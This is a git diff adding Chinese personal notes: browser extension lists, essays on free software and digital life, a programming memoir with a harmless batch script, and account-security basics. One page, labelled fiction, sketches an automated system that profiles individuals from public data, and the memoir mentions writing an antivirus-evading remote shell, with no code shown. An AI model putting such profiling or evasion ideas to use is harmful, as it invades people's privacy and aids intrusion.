"b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vim_tutor_mode.png" differ diff --git "a/docs/\345\205\266\344\273\226/\347\275\221\351\241\265\346\265\217\350\247\210\345\231\250/Edge_\346\217\222\344\273\266.md" "b/docs/\345\205\266\344\273\226/\347\275\221\351\241\265\346\265\217\350\247\210\345\231\250/Edge_\346\217\222\344\273\266.md" new file mode 100644 index 000000000..b9aa597d3 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\347\275\221\351\241\265\346\265\217\350\247\210\345\231\250/Edge_\346\217\222\344\273\266.md" @@ -0,0 +1,91 @@ +# Edge 插件 + +!!! info + 部分插件来自 Chrome Web Store, 但可以在 Edge 中正常使用. + 部分插件使用前请仔细阅读描述中括号内的内容. + +!!! warning + 建议在安装只针对部分站点的插件的时候选定其能访问的站点, 已避免在后续使用过程中对其他站点造成未知影响. + +## 安全 + +| 名称 | 描述 | +| --------------- | ----------------------------------- | +| [uBlock Origin] | 默认屏蔽广告/跟踪器/恶意网站, 开源. | +| [NoScript] | 防止基于脚本的渗透, 开源. | + +[uBlock Origin]: https://microsoftedge.microsoft.com/addons/detail/ublock-origin/odfafepnkmbhccpbejgmiehpchacaeak +[NoScript]: https://microsoftedge.microsoft.com/addons/detail/noscript/debdhlbmgmkkfjpcglcbjadbhhekgfjh?hl=en-US + +## 功能 + +| 名称 | 描述 | +| ------------------------- | -------------------------------------------------------------------- | +| [Dark Reader] | 提供任意页面的自适应黑暗主题, 开源. (**可能导致二维码无法被识别**) | +| [Immersive Translate] | 翻译. | +| Proxy SwitchyOmega | 手动/自动切换代理. | +| [Simple Allow Copy] | 在禁止拷贝内容的网页里拷贝内容. (**开启时可能导致部网页分功能失效**) | +| [YouTube™ dual subtitles] | YouTube 双字幕. | +| [Modern for Hacker News] | 美化 Hacker News 网站界面. | +| [Tampermonkey] | 插件中的插件, 可以安装更多实用的脚本. | +| [Refined GitHub] | 对 GitHub 页面进行了一些改进. | + +[Dark Reader]: https://microsoftedge.microsoft.com/addons/detail/dark-reader/ifoakfbpdcdoeenechcleahebpibofpc +[Immersive Translate]: https://microsoftedge.microsoft.com/addons/detail/%E6%B2%89%E6%B5%B8%E5%BC%8F%E7%BF%BB%E8%AF%91-%E7%BD%91%E9%A1%B5%E7%BF%BB%E8%AF%91%E6%8F%92%E4%BB%B6-pdf%E7%BF%BB%E8%AF%91-/amkbmndfnliijdhojkpoglbnaaahippg +[Simple Allow Copy]: https://microsoftedge.microsoft.com/addons/detail/simple-allow-copy/kkemgiffjdndikokhpoecoloebgeibde +[YouTube™ dual subtitles]: https://microsoftedge.microsoft.com/addons/detail/youtube%E2%84%A2-dual-subtitles/kicjdgmlfepkcglkdcaalgikoaphdbbp +[Modern for Hacker News]: https://chrome.google.com/webstore/detail/modern-for-hacker-news/dabkegjlekdcmefifaolmdhnhdcplklo +[Tampermonkey]: https://microsoftedge.microsoft.com/addons/detail/iikmkjmpaadaobahmlepeloendn +[Refined GitHub]: https://chrome.google.com/webstore/detail/refined-github/hlepfoohegkhhmjieoechaddaejaokhf + +## 效率 + +| 名称 | 描述 | +| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | +| [Vimium C] | VIM 快捷键. (**会覆盖部分浏览器快捷键**) | +| [NeatDownloadManager] | 下载器, 需要结合[本地服务](https://www.neatdownloadmanager.com/index.php/en/)使用. (仅支持 Windows/macOS, 有时会无法连接到本地服务) | +| [Edge Translate] | 划词翻译, 侧边显示, 开源. | +| [WebChatGPT] | ChatGPT 功能拓展. | + +[Vimium C]: https://microsoftedge.microsoft.com/addons/detail/aibcglbfblnogfjhbcmmpobjhnomhcdo +[NeatDownloadManager]: https://microsoftedge.microsoft.com/addons/detail/neatdownloadmanager-exten/pbghcbaeehloijjcebiflemhcebmlnke +[Edge Translate]: https://microsoftedge.microsoft.com/addons/detail/edge-translate/bfdogplmndidlpjfhoijckpakkdjkkil +[WebChatGPT]: https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn/related + +## 广告拦截 + +| 名称 | 描述 | +| ----------------- | ---------------------- | +| [Adblock Plus] | 通用广告拦截器, 开源. | +| [YouTube Adblock] | 屏蔽 YouTube 视频广告. | + +[Adblock Plus]: https://microsoftedge.microsoft.com/addons/detail/gmgoamodcdcjnbaobigkjelfplakmdhh +[YouTube Adblock]: https://microsoftedge.microsoft.com/addons/detail/bbocfgcdelebeaboidkmglbdkimdpojb + +## 文字 + +| 名称 | 描述 | +| ------------------------------ | ------------------------------------------------------------------------------------ | +| [LanguageTool] | 拼写和语法检查器, 包含应用程序/浏览器插件/办公软件插件/邮件客户端插件, 核心功能开源. | +| [Microsoft Editor] | 拼写和语法检查器. | +| [Grammarly for Microsoft Edge] | 拼写和语法检查器. (**不推荐**, 存在吞字的 BUG) | + +[LanguageTool]: https://microsoftedge.microsoft.com/addons/detail/grammar-spell-checker-%E2%80%94/hfjadhjooeceemgojogkhlppanjkbobc +[Microsoft Editor]: https://microsoftedge.microsoft.com/addons/detail/microsoft-editor-spellin/hokifickgkhplphjiodbggjmoafhignh +[Grammarly for Microsoft Edge]: https://microsoftedge.microsoft.com/addons/detail/grammarly-grammar-checke/cnlefmmeadmemmdciolhbnfeacpdfbkd + +## 视频 + +| 名称 | 描述 | +| -------------- | ----------------------------------------- | +| [Global Speed] | 控制视频播放速度, 可微调, 拓展播放器功能. | + +[Global Speed]: https://microsoftedge.microsoft.com/addons/detail/global-speed/mjhlabbcmjflkpjknnicihkfnmbdfced + +## 启用多线程下载 + +`chrome://flags/#enable-parallel-downloading`. + +## 参见 + +- [Microsoft Edge 插件商城](https://microsoftedge.microsoft.com/addons/Microsoft-Edge-Extensions-Home) diff --git "a/docs/\345\205\266\344\273\226/\347\275\221\351\241\265\346\265\217\350\247\210\345\231\250/Firefox_\346\217\222\344\273\266.md" "b/docs/\345\205\266\344\273\226/\347\275\221\351\241\265\346\265\217\350\247\210\345\231\250/Firefox_\346\217\222\344\273\266.md" new file mode 100644 index 000000000..2ade060ed --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\347\275\221\351\241\265\346\265\217\350\247\210\345\231\250/Firefox_\346\217\222\344\273\266.md" @@ -0,0 +1,55 @@ +# Firefox 插件 + +## 安全 + +| 名称 | 描述 | +| --------------- | ----------------------------------- | +| [NoScript] | 防止基于脚本的渗透, 开源. | +| [uBlock Origin] | 默认屏蔽广告/跟踪器/恶意网站, 开源. | + +[NoScript]: https://addons.mozilla.org/en-US/firefox/addon/noscript/ +[uBlock Origin]: https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/ + +## 功能 + +| 名称 | 描述 | +| --------------------- | ------------------------------------------------------------------------------ | +| [Dark Reader] | 提供任意页面的自适应黑暗主题, 无数据收集, 开源. (**可能导致二维码无法被识别**) | +| [Immersive Translate] | 翻译. | +| [Refined GitHub] | 对 GitHub 页面进行了一些改进. | + +[Dark Reader]: https://addons.mozilla.org/en-US/firefox/addon/darkreader/ +[Immersive Translate]: https://addons.mozilla.org/en-US/firefox/addon/immersive-translate/ +[Refined GitHub]: https://addons.mozilla.org/en-US/firefox/addon/refined-github-/ + +## 效率 + +| 名称 | 描述 | +| ---------------------- | --------------- | +| [Firefox Translations] | 离线翻译, 开源. | + +[Firefox Translations]: https://addons.mozilla.org/en-US/firefox/addon/firefox-translations/ + +## 广告拦截 + +| 名称 | 描述 | +| -------------- | --------------------- | +| [Adblock Plus] | 通用广告拦截器, 开源. | + +[Adblock Plus]: https://addons.mozilla.org/en-US/firefox/addon/adblock-plus/ + +## 文字 + +| 名称 | 描述 | +| -------------- | ------------------------------------------------------------------------------------ | +| [LanguageTool] | 拼写和语法检查器, 包含应用程序/浏览器插件/办公软件插件/邮件客户端插件, 核心功能开源. | + +[LanguageTool]: https://addons.mozilla.org/en-US/firefox/addon/languagetool/ + +## Tor Browser + +如果你使用的是 Tor Browser, 请不要安装任何不可信的插件 (闭源/用户数量少/评分低), 建议安装少量的/必要的/可信的插件. + +## 参见 + +- [Firefox 插件商城](https://addons.mozilla.org/en-US/firefox/) diff --git "a/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\344\275\225\344\270\272\350\207\252\347\224\261\350\275\257\344\273\266.md" "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\344\275\225\344\270\272\350\207\252\347\224\261\350\275\257\344\273\266.md" new file mode 100644 index 000000000..f4705df69 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\344\275\225\344\270\272\350\207\252\347\224\261\350\275\257\344\273\266.md" @@ -0,0 +1,26 @@ +# 何为自由软件 + +**关键字**: free software, libre software, libreware. + +自由软件运动 (free software movement) 认为用户应该拥有**运行/研究/修改和共享**软件副本的自由. 这类软件被称之为**自由软件 (free software)**. + +值得注意的是, 开源软件并不是指开放源代码的软件, 而是指使用开源许可协议的软件. +**有源软件 (source-available software)** 是指提供源代码, 但是对源代码的使用权进行了严格的限制, 这类软件也被视作专有软件. 比较有代表性的是 Unreal Engine. + +为了方便区分, 免费软件被称为 Freeware. 两者的共同之处是都使用了 free 这个多义词, 但由于使用的意义不同, 所以二者没有直接关系. +不过由于自由软件开放源代码的特性, 大部分自由软件本身也是免费软件. + +--- + +每当你在计算机上打开一个应用程序, 就意味着至少一个可执行文件被执行. + +源代码和可执行文件 + +- **可执行文件**: 包含指令集. +- **源代码**: 使用程序设计语言 (也称为编程语言) 所编写. + +程序员编写源代码, 用户执行可执行文件. + +需要通过一个转换器, 将源代码转换为可执行文件. + +TODO: 源代码到可执行文件的单向转换 diff --git "a/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\205\250\350\207\252\345\212\250\347\244\276\345\267\245\345\272\223.md" "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\205\250\350\207\252\345\212\250\347\244\276\345\267\245\345\272\223.md" new file mode 100644 index 000000000..84baea8ee --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\205\250\350\207\252\345\212\250\347\244\276\345\267\245\345\272\223.md" @@ -0,0 +1,44 @@ +# 全自动社工库 + +!!! warning + 以下内容纯属虚构, 部分灵感来源于电视剧*疑犯追踪 (Person of Interest, PoI)*[^1]. + +守比攻难, 因为防御需要考虑到各种可能, 而进攻只需要找到一个漏洞. + +全自动收集互联网上的个人信息并进行处理, 为每个人都建立一个档案. 如: + +- 通过数据推断个人的信息: 如通过社交账号发表内容剔除日常生活后的话题与学科之间的交集来判断所学习的专业. +- 通过账号之间的关联, 建立关系网络: 比如和某人有一定数量的共同好友则与此人是同学/同事的可能性比较大. +- 对公开信息的收集和分析: 如某学校某届学生的毕业照. + +对精确到个人的单位进行全方面的分析, 并给每个信息标上一个可信度. +收集的数据包括文字/图像/音频, 具有从这些数据中提取出大量信息的能力, 如: + +- 从图片/音频中提取文字信息, 方便进一步分析. +- 对视频进行人脸识别/物体识别推断发生事情: 如在某时间段内在某区域内用餐. +- 对于无音频或音频难以识别的视频使用唇语识别. + +综合上面的分析结果再得出更加可靠的结论. +获得精确到个人的信息后就可以通过筛选得到各类群体, 并更具群体特性实时更具针对性的信息收集. + +除了针对人/组织的信息收集, 还对网络中的部分数据进行溯源. 如文档/图片/视频的发布人/出现时间/访问量等. + +由于网络上存在不少具有误导性的错误信息, 系统还能更具已有的信息判断内容的可信度, 减少可信度低的内容对整体分析结果造成的影响. 如出现频率较高的模因/反讽等. + +信息的时效性是一个重要属性, 如: + +该系统的一个特点是只进行被动的信息收集, 但并不直接截获网络流量或进行其他普通网络用户所不能实现的操作. +这是该系统的局限性, 不能进行更深层次的分析. 但同时也是潜力所在, 可以部署在任意一台计算机上. + +该系统也不需要进行更深层次的分析, 因为那不属于设计的用途之一. + +提供的使用接口包括直接检索个人文档/自然语言问答/API等. + +## 伦理道德 + +电视剧 *PoI* 中描述了一个叫做 The Machine 的系统[^2], 该系统通过**合法的数据**进行分析, 中间会推断出大量涉及**个人隐私**的信息, 最终只给出过**滤后的结果**. 这些结果一般不会泄漏个人隐私. + +## 参考 + +[^1]: +[^2]: diff --git "a/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\246\202\344\275\225\346\216\245\350\247\246\345\210\260\347\274\226\347\250\213\347\232\204.md" "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\246\202\344\275\225\346\216\245\350\247\246\345\210\260\347\274\226\347\250\213\347\232\204.md" new file mode 100644 index 000000000..1df2f7804 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\246\202\344\275\225\346\216\245\350\247\246\345\210\260\347\274\226\347\250\213\347\232\204.md" @@ -0,0 +1,188 @@ +# 如何接触到编程的 + +## DOS 批处理脚本 + +最初接触到编程这个概念是从小学期间订阅的一本杂志里, 当中讲述了如何编写一个简单的 DOS 批处理脚本. +但当时只是对计算机编程产生了一点印象并没有打算实际上手操作. + +后来玩了款名为 Unturned 的游戏, 因为其不具备云存档功能所以上网查找本地导出存档的方法, 下载了一个可以帮助自动导出存档的程序. +在使用时意外发现这个程序的右键菜单中多了一个 "编辑" 选项, 打开后发现里面有运行时出现的内容, 便尝试进行修改, 发现重新运行程序后修改会生效. +后面才知道这个程序就是一个 DOS 批处理脚本, 大概从这时起开始查询一些命令, 并尝试编写 DOS 批处理脚本. + +用 DOS 批处理脚本实现了一些自己感兴趣的程序, 以下列出几个印象较深的程序: + +- **助手**: 可以打字与其对话, 程序会调用 Windows 的 TTS 功能使用语音回答. 但由于实现分词等功能较为复杂, **难度超出预期, 最后开发终止**. +- **扫雷**: 在编写非数字时自动揭开周围方块的时候使用到了一个递归算法, 后来才知道这个算法叫做深度优先搜索. +- **远程 Shell**: 利用了杀毒软件对 DOS 脚本不敏感的缺陷, 实现了可以绕过杀毒软件的远程 Shell. 为了不依赖第三方可执行文件, 通讯使用的是系统自带的 FTP 命令. + +通过精妙的设计和使用一些高级的语法, DOS 批处理脚本也能完成许多复杂的操作. 当时有两个 DOS 批处理脚本给我留下了深刻的印象: + +- 使用 ASCII 字符显示一个会旋转的 3D 球体. + + ```bat + @echo off & setlocal & title Sphere 3D & set /a cols=62, lines=62 & goto :Init_system + + :: By einstein1969. Dedicated to jeb, dbenham, penpen, carlos, aGerman, Aacini, EdDyreen, + :: npocmaka_, Liviu, Sponge Belly, Magialisk, the users and the staff of Dostips forum. + + :: Use raster font 8x8. + + :Main + + set /a ar=100, rt=0, ds=0, cx=cols/2, cz=4000, cY=lines/2 + + ( + set SIN= + set _PLOT$_= + set _$PLOT_= + set _empty= + set lines= + set cols= + + for /L %%\ in (1000,-1,0) do ( + set /a "rt+=31416/60" + + if !ds! lss 1000 set /a ds+=10 + + setlocal + + set /a "a=(15708-rt) %% 62832, c=(a>>31|1)*a" + + if !c! gtr 47124 (set /a "a=a-(a>>31|1)*62832, b=%SIN%, a=rt %% 62832, c=(a>>31|1)*a") else (if !c! gtr 15708 (set /a "a=(a>>31|1)*31416-a, b=%SIN%, a=rt %% 62832, c=(a>>31|1)*a") else set /a "b=%SIN%, a=rt %% 62832, c=(a>>31|1)*a") + if !c! gtr 47124 (set /a "a=a-(a>>31|1)*62832, a=%SIN%") else (if !c! gtr 15708 (set /a "a=(a>>31|1)*31416-a, a=%SIN%") else set /a "a=%SIN%") + + for %%f in ("0 9999" "-5000 8661" "-8661 5000" "-9999 0" "-8661 -5000" "-5000 -8661" "0 -9999" "5000 -8661" "8661 -5000" "9999 0" "8661 5000" "5000 8661") do for /f "tokens=1,2" %%g in (%%f) do ( + for %%t in ("3827 9239" "7071 7071" "9239 3827" "9999 0" "9239 -3827" "7071 -7071" "3827 -9239") do for /f "tokens=1,2" %%u in (%%t) do ( + set /a "ax=ar*%%h/10000*%%u/10000, az=ar*%%g/10000*%%u/10000, ay=ar*%%v/10000, aax=(ax*b/10000-(ay*a/10000+az*b/10000)*a/10000)*b/10000-(ay*b/10000-az*a/10000)*a/10000, aay=(ax*b/10000-(ay*a/10000+az*b/10000)*a/10000)*a/10000+(ay*b/10000-az*a/10000)*b/10000, e=ax*a/10000+(ay*a/10000+az*b/10000)*b/10000, c=ds*aax/(e-cz)+cx, d=ds*aay/(e-cz)+cy" + + if not defined L!d! set L!d!=%_empty% + + if !e! lss 0 (%_$PLOT_% !c! !d! 1 %_PLOT$_%) else %_$PLOT_% !c! !d! 4 %_PLOT$_% + ) + ) + + if not "!OT!"=="!time:~-1!" ( + cls & (For /L %%l in (1,1,%lines%) do if not defined L%%l (echo() else echo( !L%%l!)>CON + if "!OT!"=="0" title Sphere 3D [%%\] + endlocal + set OT=!time:~-1! + ) else endlocal + ) + ) + goto :eof + + :Init_system + + setlocal DisableDelayedExpansion + + set /a cc=cols+2, ll=lines+2 + ( + mode %cc%,%ll% & cls + for /F "Tokens=1 delims==" %%v in ('set') do set "%%v=" + set /a cols=%cols%, lines=%lines% + ) + set "_$PLOT_=For /F usebackq^ tokens^=1-3 %%x in ('" + set "_PLOT$_=') do set /a f=%%x+1 & For %%w in (!f!) do set L%%y=!L%%y:~0,%%x!!g:~%%z,1!!L%%y:~%%w!" + + set "SIN=(a-a*a/1920*a/312500+a*a/1920*a/15625*a/15625*a/2560000-a*a/1875*a/15360*a/15625*a/15625*a/16000*a/44800000)" + + setlocal EnableDelayedExpansion + + For /L %%l in (1,1,%cols%) do set "_empty=!_empty! " + + set g= .±²@" + + Goto :Main + ``` + +- 逐渐绘制一个由曲线组成的看上去像 3D 的物体, 绘制需要一段时间. + +这两个程序都比较简短, 大概在 100 行以内. + +在网上认识了一位热心的网友, 帮忙解决了许多 DOS 批处理脚本编写的问题, 他平时主要使用的是 C 语言, 他说过学习编程的话 C 语言是一个更好的选择. +但我当时只是觉得 DOS 批处理脚本够用, 便没有去了解 C 语言, 对实际生产中所使用的编程语言没有概念. + +## C 语言 + +大概初三的时候, 开始学习 C 语言. 最初的目的和信息竞赛有关, 但最终并未参加相关比赛. +入门时主要的学习方式是通过一套 Bilibili 上找到的教学视频, 现在对视频的开头和结尾还有印象. +视频是使用PPT+实践的方式来进行教学的, PPT讲解完就编写代码并展示执行结果, 内容十分紧凑, 毫不拖沓. + +## C++ 语言 + +后来我打算学习一门新的编程语言, 当时只知道 Java 和 C++. 最终选择了后者, 原因有: + +1. 听说 C++ 很难, 我想要挑战. +2. 我有 C 语言基础. + +对 C++ 的最初印象来自一款手机应用程序, 展示各种语言的 Hello world 代码并让用户判断是什么语言. +和其他语言对比起来, C++ 使用的输入输出流看上去十分特殊, 无论是当时还是现在我都觉得这语法十分的丑陋, 好在 C++23 引入了 `std::print`, 此后 C++ 的 Hello World 将使用更加现代的语法编写. + +C++ 的标准库提供了更丰富的功能, 在处理各种操作时 (如字符串处理) 远比 C 更简单和安全. +在 C 语言里, 许多简单的操作都需要自己实现, 这会在增加工作量的同时引入更多的错误. + + + +在编程范式方面, C++ 是多范式的编程语言, 而 C 是面向过程的编程语言. 其中 C++ 的面向对象编程范式正是我在使用 C 语言时求之不得的东西. + +C++ 这门语言最早出现于 1985, 有着沉重的历史包袱. + +- n + 1 问题: + + C++ 与时俱进, 不断引入新的特性. 但却难以抛弃旧的特性. + 虽然在独立项目中, 开发者可以选择自己喜欢的特性, 但在多个合作的项目里, 难以避免旧的特性依然被使用. + 这意味着开发者不能只学习最新的语言标准和特性, 还需要学习旧标准和旧特性. + + C++ 兼容大部分 C 代码本身一件好事, 但如却导致部分代码 C 和 C++ 代码混用的情况, 使得代码风格迥异. + +- 未定义行为 (undefined behavior, UB): + + ```cpp + int f(bool b) + { + int x; // OK: the value of x is indeterminate + int y = x; // undefined behavior + unsigned char c; // OK: the value of c is indeterminate + unsigned char d = c; // OK: the value of d is indeterminate + int e = d; // undefined behavior + return b ? d : 0; // undefined behavior if b is true + } + ``` + +- 整数类型: + + C++ 中整数类型 (除 `.?int\d+_t`) 的大小的不确定的. 这意味着在编写跨平台的代码时 `int` 的最大值和最小值不是一个常量. 为了获得大小固定的整数类型还需要包含头文件 ``. + +- 没有标准的构建系统: + + 调用编译器编译代码是最直接的方式, 但这种方法难以跨编译器和平台, 而且只适用于简单的小项目. 被广泛使用的构建系统有很多, 甚至出现了跨构建系统的 CMake. + 可以生成不同构建系统的文件, 然后再通过构建系统来调用编译器和链接器, 最终生成可执行文件. + CMake 本身不附带各种编译器和构建系统, 因此需要用户自己安装. 部分项目的 `CMakeLists.txt` 甚至具有时效性, 导致年久失修的项目无法构建. + +- 依赖管理困难: + + 与其他更现代的编程语言相比, C++ 缺少自带的包管理器, 这使得库之间的依赖管理处理变得尤为棘手. + 库之间的调用更像是直接混合代码, 这导致了在添加依赖项时必须涉及到构建系统的配置. + 虽然存在诸如 [vcpkg] 和 [conan] 这样的第三方包管理器, 但在使用过程中我仍然频繁的遇到依赖项构建错误, 导致项目无法继续编译. + 尽管我曾尝试向包管理器提交问题, 并最终得到了修复, 但这个过程往往耗时较长. + 依赖项的构建错误经常中断游戏引擎的开发进程,我甚至尝试过混合使用 vcpkg 和 conan. + 因为这样可以把单个依赖项在单个包管理器中出故障的概率降低为单个依赖项在两个包管理器中出故障的概率, 这几乎可以解决包管理器自身导致的错误, 但对于依赖项本身存在的问题却无法解决. + + 大量的时间被耗费在了构建上, 使我无法专注于项目本身的开发, 这是我最终选择放弃将 C++ 作为首选语言的**主要原因**. + +[vcpkg]: https://github.com/microsoft/vcpkg +[conan]: https://conan.io/ + +## 寻找新的语言 + +放弃 C++ 意味着我需要学习一门新的语言. + +- Python: 相比 C 语言, 我觉得 Python 是一门语法十分复杂的语言. 因为之前运行 Python 脚本经常遇到报错, 我对 Python 的印象并不好. 在加上我之前使用 C++ 开发过的项目, 很多无法使用 Python 来实现, 因此我没有选择这个语言. +- Java: 学习了 C++ 后再回头看 Java, 我觉得 Java 的代码有大量的冗余, 并不美观. 比如喜欢使用单词全屏而非缩写, C++ 则倾向用符号来表示, 十分简洁. 在我看来, 对于经验丰富的开发者来说, 使用冗长的全拼单词是多余的. +- Carbon: 虽然它声称兼容 C++ 代码, 但由于其尚处于实验阶段且缺乏可用的编译器. 而且它的代码风格与 C++ 迥异. + +TODO + +## Rust 语言 + +TODO diff --git "a/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\271\263\346\235\203.md" "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\271\263\346\235\203.md" new file mode 100644 index 000000000..b963a4b24 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\345\271\263\346\235\203.md" @@ -0,0 +1,3 @@ +# 平权 + +[DEL] diff --git "a/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\346\225\260\345\255\227\347\224\237\345\221\275.md" "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\346\225\260\345\255\227\347\224\237\345\221\275.md" new file mode 100644 index 000000000..47ced2a59 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\346\225\260\345\255\227\347\224\237\345\221\275.md" @@ -0,0 +1,46 @@ +# 数字生命 + +**关键字**: 自由意志, 自由意志定理, 非决定论性, 机械决定论(形而上学决定论), 单子论, 不可知论. + +## 计算机能否具有自由意志 + +个人感觉自由意志是指人的行为是否是真随机的, 无法通过计算预测的. + +- 假设存在两个完全一致的理想环境, 放置两个克隆人, 是否可以通过其中一个的行为预测另一个的行为. + +假设计算机能 100% 模拟人脑. 比如人有自由意志, 但可以通过真随机数和计算进行模拟(但不能预测). + +Q: 是否能拥有自我意识, 和 "灵魂". 或者只是计算机能够模拟 "自我意识" 的行为. +A: 由于知识不够, 无法给出个人的倾向. 人本身是否具有自由意志似乎还在争论之中. + +## 复制 + +假设意识能够进行复制. + +在游戏 *活体脑细胞(Soma)*[^1] 中主角对自己的意识进行了多次的复制, 每次复制都将抛弃旧的躯体和意识. +主角最初认为自己只是在进行意识的转移, 而非复制. 但在后续的一次复制后发现旧的意识依然存在. +游戏的结尾向玩家展示了主角的意识进行了最后一次复制, 意识的两个分支最终走向了不同的结局. + +- 假设对意识进行复制后会进行一个黑箱操作, 打乱两个意识, 使人无法区分哪个是副本. +- 复制后在旧意识意识不到的情况下将其杀死来实现转移. + +Q: 利用数字生命保留的已逝亲人, 还是原来的亲人吗? +A: 假设能进行 100% 的复制和模拟, 我认为是的. 因为二者的意识和记忆等进行了完全的克隆, 旧的意识及时死去就类似进行了转移. + +--- + +- 自由意志定理 + + > 通过反证法, 自由意志定理证明了如下事实: 如果人类拥有自由意志, 则基本粒子也有. + > 其中康韦等对自由意志的定义, 主要指两层含义: + > (1) 能在不同的可能性之中做出选择; + > (2)该选择不能由过去发生过的一切历史所决定. + > 即, 即使掌握了整个宇宙过去所有的一切信息, 也无法对该选择作出准确预测. + +- 机械决定论: 只承认一切事物具有必然性/因果制约性和客观规律性, 否认偶然性和人的主观能动性的哲学学说. + +## 参见 + +- [The Strong Free Will Theorem](https://www.ams.org/notices/200902/rtx090200226p.pdf). + +[^1]: diff --git "a/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\350\264\246\345\217\267\345\256\211\345\205\250.md" "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\350\264\246\345\217\267\345\256\211\345\205\250.md" new file mode 100644 index 000000000..faabaca9a --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\203\241\346\200\235\344\271\261\346\203\263/\350\264\246\345\217\267\345\256\211\345\205\250.md" @@ -0,0 +1,60 @@ +# 账号安全 + +!!! warning + 为降低阅读难度, 下文不再区分 "密码" 与 "口令". + +因为账号可能受到威胁, 所以才需要确保账号安全. 因此讨论如何确保账号安全需要先了解会危害账号安全的技术, 相关概念包括撞库/社工库/哈希函数/加盐等. + +- 哈希函数 (Hash function): 是一种单向函数 (One-way function), 可以通过 A 算出 B, 但却很难只通过 B 得到 A. + + 密码会先通过哈希函数转换为哈希值, 并将哈希值存储在服务器上. 用户登录时只需要验证输入密码的哈希值是否和已存储的哈希值相同. + 因此服务器和攻击服务器的人只知道用户密码的哈希值, 但很难以此获取用户的密码. + +- 加盐: 在用户密码转换为哈希值前添加一些其他内容. + + - 增加原始密码的长度: 假如密码本身是弱口令, 依然很容易被发现. 攻击者只需要将哈希值和弱口令的哈希值进行对比即可. + - 不同网站/账号使用不同的盐还可以使相同的密码具有不同的哈希值. + +同一个人的不同账号有不同的用途, 具有不同的价值. 一种常见策略是为重要的账号使用专门的具有更高安全性的密码. +目的是防止安全性低但较好记忆的密码丢失后, 重要的账号不会受到影响. + +## 密码 + +有些账号的登录只需要用户提供用户名和密码即可, 但是为了记忆方便, 人们通常使用相似的用户名和密码. 所以一个账号的泄露可能导致使用相同用户名和密码的账号泄露. + +- 账号之间存在关联, 且登录账号的方法相同: 当一个账号泄露后尝试访问其他关联账号, 称之为**撞库**. +- 为方便记忆, 密码强度弱: 通过个人信息来推断可能使用的密码, 这种密码上的弱点称为**弱口令**. + +一个理想的策略是为每个账号使用单独的用户名和密码, 账号之间的关联因尽可能小. 使用**密码生成器**生成和自身个人信息无关的密码, 并使用**密码管理器**帮助记忆复杂无序的密码. + +其中增加密码强度并不重复不难实现, 但使账号之间没有关联比较难, 甚至会影响到一些账号的正常使用. + +密码管理器可以帮助管理大部分的密码, 但同时也意味着这些账号的登录要依赖密码管理器. 少数不应该依赖密码管理器的账号还是应该继续使用常规密码. + +## 多重要素验证 (Multi-factor authentication, MFA) + +思想类似纵深防御, 通过多种方式验证用户身份. 在进行重要, 有一定后果的操作时会进一步确认用户身份, 在确保安全的同时减少对用户体验的负面影响. + +## 手机短信验证 + +该方法的缺点较多. 虽然手机短信并不容易被攻击者获取, 但该方法需要依赖手机和手机卡. 手机不一定一直在身边, 手机卡存在失效的风险且和个人信息关联较为紧密. +手机木马可能可以获取短消息内容. + +## 无密码 (Passkey) + +无密码可以给用户带来更良好的体验, 在不需要记忆复杂密码的同时也能确保密码的安全. +而且可以和现有的登录机制较好的融合, 由密码生成器生成安全性较高的密码并加密保存. 用户可以通过生物识别等方式解锁这些数据并登录账号. +如用户按下指纹即可登录账号, 无需再记忆账户名密码等内容. + +上面谈论了一些有关登录账号方面的内容, 这是服务提供者和用户之间的一个重要互动. 但用户和服务提供者本身也可能存在问题. + +- 服务提供者: 利用不透明的机制对外泄露账号信息, 被黑客攻击导致账号信息泄露. +- 用户: 木马, 社会工程学. 如计算机上木马可以获取用户按下的按键来记录密码, 手机上木马可以通过读取短信内容来获取验证码. + +用户可以通过增加安全意识来减少被攻击的可能性. 服务提供者不受用户控制, 但用户可以选择可信度比较高的提供者. + +## 一次性密码 (One-time password, OTP) + +基于时间的一次性密码 (Time-based One-Time Password, TOTP). + +基本原理可能类似无线遥控器解锁 (如汽车/卷帘门等). diff --git "a/docs/\345\205\266\344\273\226/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/REAMD.md" "b/docs/\345\205\266\344\273\226/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/REAMD.md" new file mode 100644 index 000000000..8246f714a --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/REAMD.md" @@ -0,0 +1,10 @@ +# 计算机网络(Computer Networks) + +- 代码: CS 144 (Stanford University). +- 主页: . + +## ToC + +| 主题 | +| ----------------------------------- | +| 